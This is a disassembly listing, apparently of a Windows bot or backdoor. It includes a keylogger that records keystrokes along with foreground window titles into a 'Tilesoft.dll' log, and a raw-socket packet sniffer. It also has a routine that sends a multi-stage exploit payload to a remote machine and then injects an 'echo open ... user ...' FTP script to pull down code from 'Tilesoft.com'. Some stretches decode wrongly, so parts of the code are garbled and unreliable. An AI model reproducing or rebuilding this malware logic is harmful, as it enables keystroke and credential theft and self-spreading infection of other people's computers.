push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155B0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_4155B0
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_415550
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40A1AE
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155B0
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call ds:dword_43A3DC ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_40200B
inc [ebp+arg_0]
jmp loc_401DC5
; ---------------------------------------------------------------------------
loc_40200B: ; CODE XREF: sub_401BD6+42Bj
push [ebp+var_4]
call ds:dword_43A410 ; closesocket
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_423344
lea eax, [ebp+var_440]
push 200h
push eax
call sub_415A4A
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_402069
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D32
add esp, 14h
loc_402069: ; CODE XREF: sub_401BD6+46Ej
lea eax, [ebp+var_440]
push eax
call sub_40B151
push [ebp+var_BC]
call sub_415295
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
loc_402088: ; CODE XREF: sub_401BD6+203j
sar edi, 75h
cld
call ds:dword_43A410 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset dword_4232E0
push eax
call sub_4154CD
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_4020FA
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D32
add esp, 14h
loc_4020FA: ; CODE XREF: sub_401BD6+4FFj
lea eax, [ebp+var_440]
push eax
call sub_40B151
push [ebp+var_BC]
call sub_415295
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
and edx, [ebp+var_75] ; CODE XREF: seg000:004022AFp
; seg000:0040244Ep
sub_401BD6 endp ; sp-analysis failed
in al, dx
loc_40211D: ; DATA XREF: seg002:off_42F370o
sub esp, 314h
lea eax, [ebp-10h]
push esi
push eax
call ds:dword_42105C ; GetLocalTime
lea eax, [ebp-114h]
push 104h
push eax
call near ptr 3D0000h
xlat
lea eax, [ebp-114h]
push offset asc_423C30 ; "\\"
push eax
call sub_415BF0
lea eax, [ebp-114h]
push offset aTilesoft_dll ; "Tilesoft.dll"
push eax
call sub_415BF0
lea eax, [ebp-114h]
push offset aAb ; "ab"
push eax
call sub_415BC8
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_402181
push 1
pop eax
jmp short loc_4021F8
; ---------------------------------------------------------------------------
loc_402181: ; CODE XREF: seg000:0040217Aj
movzx eax, word ptr [ebp-4]
push dword ptr [ebp+8]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_415B76
push esi
call sub_415B20
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_4021F6
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_423BEC
push 200h
push eax
call sub_415A4A
push 0
lea eax, [ebp-314h]
push dword ptr [ebp+94h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 24h
loc_4021F6: ; CODE XREF: seg000:004021BDj
xor eax, eax
loc_4021F8: ; CODE XREF: seg000:0040217Fj
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4021FB: ; DATA XREF: seg000:0040EC57o
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+8]
push ebx
push esi
push edi
and dword ptr [ebp-8DCh], 0
push 25h
and dword ptr [ebp-4], 0
pop ecx
mov esi, eax
lea edi, [ebp-0DCh]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-8D8h]
rep stosd
call ds:dword_43A300 ; GetForegroundWindow
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
mov [ebp-8], eax
call ds:dword_43A314 ; GetWindowTextA
mov ebx, 200h
loc_402256: ; CODE XREF: seg000:004024C2j
push 8
call ds:dword_421060 ; Sleep
call ds:dword_43A300 ; GetForegroundWindow
cmp eax, [ebp-8]
jz short loc_4022DE
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
mov [ebp-8], eax
call ds:dword_43A314 ; GetWindowTextA
lea eax, [ebp-48h]
push eax
lea eax, [ebp-2DCh]
push eax
lea eax, [ebp-4DCh]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_4154CD
sub esp, 84h
lea esi, [ebp-0DCh]
lea eax, [ebp-4DCh]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call near ptr loc_402119+1
mov [ebp-4], eax
push ebx
lea eax, [ebp-2DCh]
push 0
push eax
call sub_415550
add esp, 0A4h
lea eax, [ebp-4DCh]
push ebx
push 0
push eax
call sub_415550
add esp, 0Ch
loc_4022DE: ; CODE XREF: seg000:00402267j
mov dword ptr [ebp+8], offset aB ; "b"
loc_4022E5: ; CODE XREF: seg000:004024B8j
push 10h
call ds:dword_43A258 ; GetKeyState
movsx esi, ax
mov eax, [ebp+8]
mov edi, [eax-4]
push edi
call ds:dword_43A344 ; GetAsyncKeyState
test ah, 80h
jz short loc_40237D
push 14h
call ds:dword_43A258 ; GetKeyState
test ax, ax
jz short loc_40232E
cmp esi, 0FFFFFFFFh
jle short loc_40232E
cmp edi, 40h
jle short loc_40232E
cmp edi, 5Bh
jge short loc_40232E
mov dword ptr [ebp+edi*4-8DCh], 1
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40232E: ; CODE XREF: seg000:0040230Dj
; seg000:00402312j ...
push 14h
call ds:dword_43A258 ; GetKeyState
test ax, ax
jz short loc_402359
test esi, esi
jge short loc_40236D
cmp edi, 40h
jle short loc_402359
cmp edi, 5Bh
jge short loc_402359
mov dword ptr [ebp+edi*4-8DCh], 2
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_402359: ; CODE XREF: seg000:00402339j
; seg000:00402342j ...
test esi, esi
jge short loc_40236D
mov dword ptr [ebp+edi*4-8DCh], 3
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40236D: ; CODE XREF: seg000:0040233Dj
; seg000:0040235Bj
mov dword ptr [ebp+edi*4-8DCh], 4
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40237D: ; CODE XREF: seg000:00402300j
mov esi, [ebp+edi*4-8DCh]
lea eax, [ebp+edi*4-8DCh]
test esi, esi
jz loc_4024AD
and dword ptr [eax], 0
lea eax, [ebp-2DCh]
cmp edi, 8
push eax
jnz short loc_4023B5
call sub_415CD0
and byte ptr [ebp+eax-2DDh], 0
pop ecx
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_4023B5: ; CODE XREF: seg000:004023A0j
call sub_415CD0
cmp eax, 1B9h
pop ecx
jbe short loc_4023E7
call ds:dword_43A300 ; GetForegroundWindow
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
call ds:dword_43A314 ; GetWindowTextA
lea eax, [ebp-48h]
push eax
lea eax, [ebp-2DCh]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_402428
; ---------------------------------------------------------------------------
loc_4023E7: ; CODE XREF: seg000:004023C0j
cmp edi, 0Dh
jnz loc_40247F
lea eax, [ebp-2DCh]
push eax
call sub_415CD0
test eax, eax
pop ecx
jz loc_4024AD
call ds:dword_43A300 ; GetForegroundWindow
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
call ds:dword_43A314 ; GetWindowTextA
lea eax, [ebp-48h]
push eax
lea eax, [ebp-2DCh]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_402428: ; CODE XREF: seg000:004023E5j
lea eax, [ebp-4DCh]
push eax
call sub_4154CD
sub esp, 84h
lea esi, [ebp-0DCh]
lea eax, [ebp-4DCh]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call near ptr loc_402119+1
mov [ebp-4], eax
push ebx
lea eax, [ebp-2DCh]
push 0
push eax
call sub_415550
add esp, 0A4h
lea eax, [ebp-4DCh]
push ebx
push 0
push eax
call sub_415550
add esp, 0Ch
jmp short loc_4024AD
; ---------------------------------------------------------------------------
loc_40247F: ; CODE XREF: seg000:004023EAj
cmp esi, 1
jz short loc_402498
cmp esi, 3
jz short loc_402498
cmp esi, 2
jz short loc_402493
cmp esi, 4
jnz short loc_4024AD
loc_402493: ; CODE XREF: seg000:0040248Cj
push dword ptr [ebp+8]
jmp short loc_40249F
; ---------------------------------------------------------------------------
loc_402498: ; CODE XREF: seg000:00402482j
; seg000:00402487j
mov eax, [ebp+8]
add eax, 7
push eax
loc_40249F: ; CODE XREF: seg000:00402496j
lea eax, [ebp-2DCh]
push eax
call sub_415BF0
pop ecx
pop ecx
loc_4024AD: ; CODE XREF: seg000:00402329j
; seg000:00402354j ...
add dword ptr [ebp+8], 14h
cmp dword ptr [ebp+8], offset dword_423BB4
jl loc_4022E5
cmp dword ptr [ebp-4], 0
jz loc_402256
push dword ptr [ebp-0D8h]
call sub_415295
pop ecx
push 0
call near ptr 3D0000h
jecxz short near ptr loc_40252F+3
mov ebp, esp
mov eax, 102B4h
call sub_415D50
mov edx, [ebp+8]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp-0B4h]
pop ecx
mov [ebp-8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp-1Ch]
push esi
push eax
call sub_415550
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push esi
call ds:dword_43A378 ; ntohs
push dword ptr [ebp-0B4h]
mov [ebp-1Ah], ax
loc_40252F: ; CODE XREF: seg000:004024DBj
call sub_40A155
pop ecx
push eax
call ds:dword_43A3B8 ; inet_addr
push esi
push 3
push 2
mov [ebp-18h], eax
call ds:dword_43A3F8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-4], edi
jnz short loc_4025B1
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset dword_42462C
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_402594
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_412D32
add esp, 14h
loc_402594: ; CODE XREF: seg000:00402572j
lea eax, [ebp-2B4h]
push eax
call sub_40B151
push dword ptr [ebp-30h]
call sub_415295
pop ecx
pop ecx
push esi
call near ptr 3D0000h
cdq
loc_4025B1: ; CODE XREF: seg000:00402552j
mov eax, [ebp-30h]
push 10h
imul eax, 234h
mov ds:dword_43F514[eax], edi
lea eax, [ebp-1Ch]
push eax
push edi
call ds:dword_43A3A4 ; bind
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_402635+1
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset unk_4245E4
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_402612
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_412D32
add esp, 14h
loc_402612: ; CODE XREF: seg000:004025F0j
lea eax, [ebp-2B4h]
push eax
call sub_40B151
pop ecx
push edi
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-30h]
call sub_415295
pop ecx
push esi
call near ptr 3D0000h
loc_402635: ; CODE XREF: seg000:004025D0j
adc al, 56h
lea eax, [ebp-20h]
push esi
push eax
push esi
push esi
lea eax, [ebp-8]
push 4
push eax
push 98000001h
push edi
call ds:dword_43A324 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_4026B8+1
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset unk_424598
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_402695
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_412D32
add esp, 14h
loc_402695: ; CODE XREF: seg000:00402673j
lea eax, [ebp-2B4h]
push eax
call sub_40B151
pop ecx
push edi
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-30h]
call sub_415295
pop ecx
push esi
call near ptr 3D0000h
loc_4026B8: ; CODE XREF: seg000:00402653j
test eax, 3C90BB53h
inc edx
add [edi+0FFFFh], bh ; CODE XREF: seg000:004026F7j
; seg000:00402709j ...
lea eax, [ebp-102B4h]
push edi
push esi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp-102B4h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call ds:dword_43A390 ; recv
cmp eax, 0FFFFFFFFh
jz loc_4027D1
cmp byte ptr [ebp-102ABh], 6
jnz short near ptr loc_4026BE+1
mov eax, [ebp-102A8h]
cmp byte ptr [ebp-10293h], 18h
mov [ebp-0Ch], eax
jnz short near ptr loc_4026BE+1
lea eax, [ebp-1028Ch]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_415AA0
pop ecx
test eax, eax
pop ecx
jnz short near ptr loc_4026BE+1
mov eax, ebx
xor edi, edi
test eax, eax
jz short near ptr loc_4026BE+1
mov [ebp+8], ebx
loc_40272D: ; CODE XREF: seg000:00402748j
push eax
lea eax, [ebp-1028Ch]
push eax
call sub_415AA0
pop ecx
test eax, eax
pop ecx
jnz short loc_40274F
inc edi
add dword ptr [ebp+8], 18h
mov eax, [ebp+8]
jnz short loc_40272D
jmp near ptr loc_4026BE+1
; ---------------------------------------------------------------------------
loc_40274F: ; CODE XREF: seg000:0040273Ej
lea eax, [ebp-1028Ch]
push eax
push dword ptr [ebp-102A0h]
call ds:dword_43A2B4 ; ntohs
movzx eax, ax
push eax
push dword ptr [ebp-0Ch]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, ds:dword_423CA4[eax*8]
push ds:off_423C80[eax*4]
lea eax, [ebp-2B4h]
push offset unk_424544
push 200h
push eax
call sub_415A4A
add esp, 1Ch
cmp [ebp-28h], esi
jnz short loc_4027BF
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_412D32
add esp, 14h
loc_4027BF: ; CODE XREF: seg000:0040279Dj
lea eax, [ebp-2B4h]
push eax
call sub_40B151
pop ecx
jmp near ptr loc_4026BE+1
; ---------------------------------------------------------------------------
loc_4027D1: ; CODE XREF: seg000:004026EAj
call ds:dword_43A30C ; WSAGetLastError
push eax
push offset unk_4244FC
lea eax, [ebp-2B4h]
push 200h
push eax
call sub_415A4A
add esp, 10h
cmp [ebp-28h], esi
pop ebx
jnz short loc_402817
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_412D32
add esp, 14h
loc_402817: ; CODE XREF: seg000:004027F5j
lea eax, [ebp-2B4h]
push eax
call sub_40B151
pop ecx
push dword ptr [ebp-4]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-30h]
call sub_415295
pop ecx
push esi
call near ptr 3D0000h
insd
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40283D proc near ; CODE XREF: sub_402988+440p
var_5A4 = byte ptr -5A4h
var_1A4 = byte ptr -1A4h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A4h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call ds:dword_4211D8 ; inet_addr
mov [ebp+var_10], eax
mov ax, ds:word_424F58
push eax
call ds:dword_4211DC ; ntohs
push esi
push 1
push 2
mov [ebp+var_12], ax
call ds:dword_4211E0 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_40295D
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call ds:dword_4211E4 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40295D
push esi
lea eax, [ebp+var_5A4]
push 400h
push eax
push edi
call ds:dword_4211E8 ; recv
mov esi, offset aTilesoft_com ; "Tilesoft.com"
mov ebx, 190h
push esi
push esi
push offset aSf_ ; "sf."
push offset aSf ; "sf"
push offset a78001 ; "78001"
push offset dword_468974
push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"...
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_415A4A
add esp, 24h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push edi
mov edi, ds:dword_4211EC
call edi ; send
cmp eax, 0FFFFFFFFh
jz short loc_40295D
push 1F4h
call ds:dword_421060 ; Sleep
push esi
push offset dword_425050
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_415A4A
add esp, 10h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push [ebp+var_4]
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402961
loc_40295D: ; CODE XREF: sub_40283D+54j
; sub_40283D+6Aj ...
xor al, al
jmp short loc_402983
; ---------------------------------------------------------------------------
loc_402961: ; CODE XREF: sub_40283D+11Ej
push 0
lea eax, [ebp+var_5A4]
push 400h
push eax
push [ebp+var_4]
call ds:dword_4211E8 ; recv
push [ebp+var_4]
call ds:dword_4211F0 ; closesocket
mov al, 1
loc_402983: ; CODE XREF: sub_40283D+122j
pop edi
pop esi
pop ebx
leave
retn
sub_40283D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402988 proc near ; CODE XREF: sub_402DDD+11Bp
; sub_402DDD+13Dp
var_89B0 = byte ptr -89B0h
var_8948 = byte ptr -8948h
var_68D8 = byte ptr -68D8h
var_6868 = byte ptr -6868h
var_5DA4 = byte ptr -5DA4h
var_4800 = byte ptr -4800h
var_47FF = byte ptr -47FFh
var_376C = byte ptr -376Ch
var_2CA8 = byte ptr -2CA8h
var_2CA7 = byte ptr -2CA7h
var_2CA4 = byte ptr -2CA4h
var_2C28 = byte ptr -2C28h
var_2458 = byte ptr -2458h
var_1FAD = byte ptr -1FADh
var_1CC0 = byte ptr -1CC0h
var_14DC = byte ptr -14DCh
var_14CC = byte ptr -14CCh
var_11A8 = byte ptr -11A8h
var_11A4 = byte ptr -11A4h
var_1198 = byte ptr -1198h
var_F10 = byte ptr -0F10h
var_E70 = byte ptr -0E70h
var_764 = dword ptr -764h
var_754 = byte ptr -754h
var_740 = byte ptr -740h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
var_B0 = byte ptr -0B0h
var_AD = byte ptr -0ADh
var_83 = byte ptr -83h
var_81 = byte ptr -81h
var_80 = byte ptr -80h
var_38 = byte ptr -38h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B0h
call sub_415D50
mov eax, ds:dword_4250D0
push ebx
mov [ebp+var_10], eax
mov eax, ds:dword_4250D4
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_38]
push offset loc_4250C4
push eax
call sub_4154CD
add esp, 0Ch
xor ecx, ecx
lea eax, [ebp+var_FF]
loc_4029C5: ; CODE XREF: sub_402988+4Dj
mov dl, [ebp+ecx+var_38]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_4029C5
push 60h
lea eax, [ebp+var_B0]
push offset dword_424B68
push eax
call sub_4155B0
lea eax, [ebp+var_38]
push eax
call sub_415CD0
shl eax, 1
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
call sub_4155B0
add esp, 1Ch
lea eax, [ebp+var_38]
push 9
push (offset aC+3)
push eax
call sub_415CD0
pop ecx
lea eax, [ebp+eax*2+var_81]
push eax
call sub_4155B0
lea eax, [ebp+var_38]
push eax
call sub_415CD0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_AD]
push eax
call sub_4155B0
lea eax, [ebp+var_38]
push eax
call sub_415CD0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_83]
push eax
call sub_4155B0
mov ax, ds:word_424F58
add esp, 2Ch
push eax
call ds:dword_4211DC ; ntohs
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_424868
call sub_4155B0
add esp, 0Ch
cmp [ebp+arg_C0], 0
jz loc_402B7F
mov edi, 0DACh
lea eax, [ebp+var_1CC0]
push edi
push 90h
push eax
call sub_415550
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea ebx, dword_424F98[eax]
lea eax, [ebp+var_14DC]
push ebx
push eax
call sub_4155B0
mov esi, offset loc_4247B8
push esi
call sub_415CD0
push eax
lea eax, [ebp+var_14CC]
push esi
push eax
call sub_4155B0
push 4
lea eax, [ebp+var_11A8]
push offset loc_4250BC
push eax
call sub_4155B0
push 4
lea eax, [ebp+var_11A4]
push ebx
push eax
call sub_4155B0
add esp, 40h
push esi
call sub_415CD0
push eax
lea eax, [ebp+var_1198]
push esi
push eax
call sub_4155B0
add esp, 10h
xor ecx, ecx
lea eax, [ebp+var_47FF]
loc_402B35: ; CODE XREF: sub_402988+1BFj
mov dl, [ebp+ecx+var_1CC0]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, edi
jl short loc_402B35
and [ebp+var_2CA8], 0
and [ebp+var_2CA7], 0
mov esi, 1C52h
lea eax, [ebp+var_89B0]
push esi
push 31h
push eax
call sub_415550
push esi
lea eax, [ebp+var_68D8]
push 31h
push eax
call sub_415550
add esp, 18h
jmp short loc_402BD6
; ---------------------------------------------------------------------------
loc_402B7F: ; CODE XREF: sub_402988+115j
push 7D0h
lea eax, [ebp+var_F10]
push 90h
push eax
call sub_415550
mov esi, offset loc_4247B8
push esi
call sub_415CD0
push eax
lea eax, [ebp+var_E70]
push esi
push eax
call sub_4155B0
lea eax, [ebp+var_10]
push eax
call sub_415CD0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_754]
push eax
call sub_4155B0
mov eax, ds:dword_424F98
add esp, 2Ch
mov [ebp+var_764], eax
loc_402BD6: ; CODE XREF: sub_402988+1F5j
push 0E29h
lea eax, [ebp+var_2CA4]
push 31h
push eax
call sub_415550
movsx eax, [ebp+var_1]
add esp, 0Ch
add eax, 4
mov esi, ds:dword_4211EC
push 0
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402C17
loc_402C10: ; CODE XREF: sub_402988+2C0j
; sub_402988+2EBj ...
xor al, al
jmp loc_402DD8
; ---------------------------------------------------------------------------
loc_402C17: ; CODE XREF: sub_402988+286j
mov edi, ds:dword_4211E8
mov ebx, 640h
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 68h
push offset dword_424BCC
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_402C10
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0A0h
push offset dword_424C38
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_402C10
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
cmp [ebp+arg_C0], 0
jz loc_402D43
push 68h
lea eax, [ebp+var_89B0]
push offset dword_424DF0
push eax
call sub_4155B0
lea eax, [ebp+var_4800]
push 1B5Ah
push eax
lea eax, [ebp+var_8948]
push eax
call sub_4155B0
push 70h
lea eax, [ebp+var_68D8]
push offset dword_424E5C
push eax
call sub_4155B0
lea eax, [ebp+var_376C]
push 0A5Eh
push eax
lea eax, [ebp+var_6868]
push eax
call sub_4155B0
push 84h
lea eax, [ebp+var_5DA4]
push offset dword_424ED0
push eax
call sub_4155B0
add esp, 3Ch
lea eax, [ebp+var_89B0]
push 0
push 10FCh
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_402C10
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0FDCh
lea eax, [ebp+var_68D8]
jmp short loc_402D9B
; ---------------------------------------------------------------------------
loc_402D43: ; CODE XREF: sub_402988+306j
push 7Ch
lea eax, [ebp+var_2CA4]
push offset dword_424CDC
push eax
call sub_4155B0
lea eax, [ebp+var_F10]
push 7D0h
push eax
lea eax, [ebp+var_2C28]
push eax
call sub_4155B0
push 90h
lea eax, [ebp+var_2458]
push offset off_424D5C
push eax
call sub_4155B0
add esp, 24h
and [ebp+var_1FAD], 0
lea eax, [ebp+var_2CA4]
push 0
push 0CF8h
loc_402D9B: ; CODE XREF: sub_402988+3B9j
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_402C10
push 12Ch
call ds:dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40283D
add esp, 0BCh
test al, al
setnz al
loc_402DD8: ; CODE XREF: sub_402988+28Aj
pop edi
pop esi
pop ebx
leave
retn
sub_402988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402DDD proc near ; CODE XREF: seg000:00403E5Cp
var_858 = byte ptr -858h
var_814 = byte ptr -814h
var_218 = byte ptr -218h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_18]
push edi
push eax
mov [ebp+var_8], edi
call sub_415550
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_18], 2
push eax
call ds:dword_4211D8 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_14], eax
call ds:dword_4211DC ; ntohs
push 6
push 1
push 2
mov [ebp+var_16], ax
call ds:dword_4211E0 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+var_4], esi
jz loc_402EDA
lea eax, [ebp+var_18]
push 10h
push eax
push esi
call ds:dword_4211E4 ; connect
cmp eax, 0FFFFFFFFh
jz loc_402EDA
mov ebx, ds:dword_4211EC
push edi
push 89h
push offset dword_424950
push esi
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402EDA
push edi
mov edi, 640h
lea eax, [ebp+var_858]
push edi
push eax
push esi
mov esi, ds:dword_4211E8
call esi ; recv
push 0
push 0A8h
push offset dword_4249DC
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402EDA
push 0
lea eax, [ebp+var_858]
push edi
push eax
push [ebp+var_4]
call esi ; recv
push 0
push 0DEh
push offset dword_424A88
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402EDA
mov ebx, [ebp+var_4]
push 0
lea eax, [ebp+var_858]
push edi
push eax
push ebx
call esi ; recv
movsx eax, [ebp+var_814]
sub eax, 30h
jz short loc_402EE5
dec eax
jz short loc_402EE1
loc_402EDA: ; CODE XREF: sub_402DDD+57j
; sub_402DDD+6Dj ...
xor eax, eax
jmp loc_402F7F
; ---------------------------------------------------------------------------
loc_402EE1: ; CODE XREF: sub_402DDD+FBj
push 0
jmp short loc_402F09
; ---------------------------------------------------------------------------
loc_402EE5: ; CODE XREF: sub_402DDD+F8j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402988
add esp, 0C4h
test al, al
jnz short loc_402F29
push 1
loc_402F09: ; CODE XREF: sub_402DDD+106j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
